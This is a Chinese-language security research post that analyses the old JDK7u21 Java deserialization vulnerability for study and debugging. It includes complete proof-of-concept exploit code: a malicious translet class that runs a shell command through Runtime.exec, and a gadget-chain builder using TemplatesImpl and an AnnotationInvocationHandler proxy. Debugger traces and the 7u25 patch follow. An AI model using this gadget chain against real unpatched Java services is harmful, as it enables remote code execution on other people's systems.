标题: JDK7u21反序列化漏洞
创建: 2020-06-08 17:06 更新: 链接: https://scz.617.cn/web/202006081706.txt
目录:
☆ 前言
☆ Serializable接口详解
11) JDK7u21反序列化漏洞
11.1) JacksonExploit7u21.java
11.2) JDK7u21Exec.java
11.3) 复杂版调用关系
11.4) 简化版调用关系
11.5) 7u25-b03(2013-06-18)修补方案
☆ 后记
☆ 参考资源
☆ 前言
本篇提供简版PoC以便调试分析"JDK7u21反序列化漏洞",炒个超级冷饭。
以前不想细究这个洞,太老了。上周看"MySQL JDBC客户端反序列化漏洞",fnmsd提 到"JDK8u20反序列化漏洞"。看8u20时涉及到7u21,故有此篇。8u20将是续篇。
去年11月看CVE-2019-6980(Zimbra)时搜到fnmsd,觉得他在这个方向的技术水平挺好, 所以他提到的东西我相对都要重视一些。这是比较靠谱的经验,如果觉得谁的文章不 错,就提高TA的权值,反之则降权。fnmsd的个人主页是:
https://blog.csdn.net/fnmsd
有兴趣者可以围观一下。一般看到真心分享且水平不错的个人主页,我喜欢在微博上 向大家推荐,从不推荐"纯秀型"个人及其主页。
基本没写文字分析,PoC中的注释和两组调用关系是给自己看的,以防调试分析完过 段时间就忘了,岂不白调。初次接触7u21者可以直接调试本篇提供的简版PoC,关键 点都在两组调用关系中给出。
最佳入手方式是,先把PoC跑通,然后打个断点:
stop in java.lang.Runtime.exec(java.lang.String[])
命中后查看调用栈回溯中的各层代码。基本框架搞清楚后,再根据两组调用关系调试 分析其他分支流程。调试分析的最终停止原则是,已能回答自己的每一个"为什么"。
☆ Serializable接口详解
11) JDK7u21反序列化漏洞
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java https://gist.github.com/frohoff/24af7913611f8406eaf3
这个洞是2015.12.18由Chris Frohoff报告给Oracle的,能搞7u25-b03之前的版本, 不依赖第三方库。
11.1) JacksonExploit7u21.java
同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。区别 只是这次换个类名,用7u21编译,减少潜在麻烦。
/ * javac_7_21 -encoding GBK -g -XDignore.symbol.file JacksonExploit7u21.java / import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/ * 必须是public,否则不能成功执行命令 / public class JacksonExploit7u21 extends AbstractTranslet { / * 必须是public / public JacksonExploit7u21 () { try { System.out.println( "scz is here" ); Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } ); } catch ( IOException e ) { e.printStackTrace(); } }
/*
* 必须重载这两个抽象方法,否则编译时报错
*/
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler )
{
}
@Override
public void transform ( DOM document, SerializationHandler[] handler )
{
}
}
11.2) JDK7u21Exec.java
/ * javac_7_21 -encoding GBK -g -XDignore.symbol.file JDK7u21Exec.java / import java.io.; import java.util.; import java.lang.reflect.; import java.lang.annotation.; import java.nio.file.Files; import javax.xml.transform.Templates; import com.sun.org.apache.xalan.internal.xsltc.trax.*;
public class JDK7u21Exec { private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); / * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 / Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); / * 这个操作对7u21没必要。后来某个版本开始,如果未指定_tfactory, * 会在TemplatesImpl.defineTransletClasses()中触发空指针引用。 / // Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); // _tfactory.setAccessible( true ); // _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); / * 第二形参可以是任意字符串,比如空串,但不能是null / _name.set( ti, "" ); / * 下面这两个操作对7u21没必要 / // Field _auxClasses = TemplatesImpl.class.getDeclaredField( "_auxClasses" ); // _auxClasses.setAccessible( true ); // _auxClasses.set( ti, null ); // Field _class = TemplatesImpl.class.getDeclaredField( "_class" ); // _class.setAccessible( true ); // _class.set( ti, null ); return( ti ); } / end of getTemplatesImpl /
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
TemplatesImpl ti = getTemplatesImpl( evilclass );
/*
* 不要直接在此
*
* hm.put( "0DE2FF10", ti )
*
* 否则后面的lhs.add( TemplatesProxy )会触发如下调用:
*
* HashSet.add
* HashMap.put
* $Proxy0.equals
* AnnotationInvocationHandler.invoke
* AnnotationInvocationHandler.equalsImpl
* Method.invoke
* TemplatesImpl.getOutputProperties
*
* 显然数据准备阶段不想看到这种效果
*/
HashMap hm = new HashMap( 1 );
/*
* AnnotationInvocationHandler不是public的,不能直接import
*/
Class clazz_AIH = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor cons_AIH = clazz_AIH.getDeclaredConstructor( Class.class, Map.class );
cons_AIH.setAccessible( true );
/*
* 只要是Annotation的子接口,且是public的,就可以用于第一形参,比
* 如:
*
* java.lang.Override
* java.lang.annotation.Documented
* java.lang.annotation.Inherited
* java.lang.annotation.Retention
* java.lang.annotation.Target
*
* 用Override.class的好处在于它是"java.lang.*"中的,无需显式import
*/
InvocationHandler ih = ( InvocationHandler )cons_AIH.newInstance( Target.class, hm );
/*
* 通过type属性去获取Templates接口的两个方法名,分别是getOutputProperties、
* newTransformer。由于getOutputProperties先出现,将来利用链上有它。
* 如果newTransformer先出现,利用链上不需要getOutputProperties。
*/
Field f_type = clazz_AIH.getDeclaredField( "type" );
f_type.setAccessible( true );
/*
* 将来会调用Templates.class.getDeclaredMethods()
*/
f_type.set( ih, Templates.class );
Templates TemplatesProxy = ( Templates )Proxy.newProxyInstance
(
Templates.class.getClassLoader(),
new Class[] { Templates.class },
ih
);
LinkedHashSet lhs = new LinkedHashSet( 0 );
lhs.add( ti );
lhs.add( TemplatesProxy );
/*
* 原来用的是"f5a5a608"。只要字符串哈希等于0即可。
*/
hm.put( "0DE2FF10", ti );
return( lhs );
} /* end of getObject */
public static void main ( String[] argv ) throws Exception
{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
java_7_21 JDK7u21Exec JacksonExploit7u21.class
java_7_21 -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ JDK7u21Exec JacksonExploit7u21.class
jdb_7_21 -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in sun.reflect.annotation.AnnotationInvocationHandler.readObject
[1] sun.reflect.annotation.AnnotationInvocationHandler.readObject (AnnotationInvocationHandler.java:331), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:57), pc = 87 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:601), pc = 57 [6] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,004), pc = 20 [7] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,891), pc = 93 [8] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,796), pc = 184 [9] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,348), pc = 389 [10] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:1,989), pc = 150 [11] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,913), pc = 173 [12] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,796), pc = 184 [13] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,348), pc = 389 [14] java.io.ObjectInputStream.readObject (ObjectInputStream.java:370), pc = 19 [15] java.util.HashSet.readObject (HashSet.java:308), pc = 63 [16] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [17] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:57), pc = 87 [18] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [19] java.lang.reflect.Method.invoke (Method.java:601), pc = 57 [20] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,004), pc = 20 [21] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,891), pc = 93 [22] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,796), pc = 184 [23] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,348), pc = 389 [24] java.io.ObjectInputStream.readObject (ObjectInputStream.java:370), pc = 19 [25] JDK7u21Exec.main (JDK7u21Exec.java:130), pc = 59
stop in java.lang.Runtime.exec(java.lang.String[])
[1] java.lang.Runtime.exec (Runtime.java:483), pc = 0
[2] JacksonExploit7u21.
11.3) 复杂版调用关系
http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/java/util/HashSet.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/java/util/HashMap.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/java/util/LinkedHashMap.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/sun/reflect/annotation/AnnotationType.java
ObjectInputStream.readObject // 7u21
HashSet.readObject
capacity = s.readInt() // HashSet:297
// 返回2
loadFactor = s.readFloat() // HashSet:298
// 返回0.75
map = new LinkedHashMap
11.4) 简化版调用关系
ObjectInputStream.readObject // 7u21
HashSet.readObject
ObjectInputStream.readObject // HashSet:308
// 读ti
// LinkedHashSet会维持插入顺序,HashSet则不会
HashMap.put // HashSet:309
ObjectInputStream.readObject // HashSet:308
// 读TemplatesProxy
HashMap.put // HashSet:309
HashMap.hash // HashMap:471
// hash = hash(key)
// 在这个上下文里hash(TemplatesProxy)等于hash(ti)
// hash(key)不直接等于key.hashCode(),对后者还有一些数学变换
HashMap.indexFor // HashMap:472
// 两次从此经过,每次形参都相同,返回值也相同
for (Entry
11.5) 7u25-b03(2013-06-18)修补方案
参
http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u25-b03/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
/ * sun.reflect.annotation.AnnotationInvocationHandler.readObject(ObjectInputStream) : void / private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
/ * 341行,过去此处是return,从7u25-b03开始,此处接着抛异常 / throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } ... }
7u25-b01、7u25-b02尚未如此修补,341行处仍在return。有些文章说修补方案是检 查了AnnotationInvocationHandler.type,估计他们是根据抛出的异常这么说的。事 实上对AnnotationInvocationHandler.type的检查一直存在,要求type与 java.lang.annotation.Annotation有派生、继承、实现关系,但7u25-b03之前发现 问题后抛出的异常被341行的catch捕捉之后没有继续抛异常,而是return了。
☆ 后记
留一个趣味求解。在Java反序列化漏洞领域,字符串"f5a5a608"已经人尽皆知,现在 求解另一个字符串,其哈希亦为零,约束条件,在[a-z0-9]范围内的8字符串。注意 约束条件,长度大于8的、所用字符不在[a-z0-9]范围内的,都不符合要求。
4月份我在微博上出了这道题,ID为香依香偎、crackme00的两位分别给了一些正确答 案。答案不唯一,答案本身不重要,只是给那些"永远充满好奇心的人们"出个趣味题, 比如练练手,挑战一下求解代码的性能优化、提升,没有其他意义。
☆ 参考资源
[52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包)
git clone https://github.com/frohoff/ysoserial.git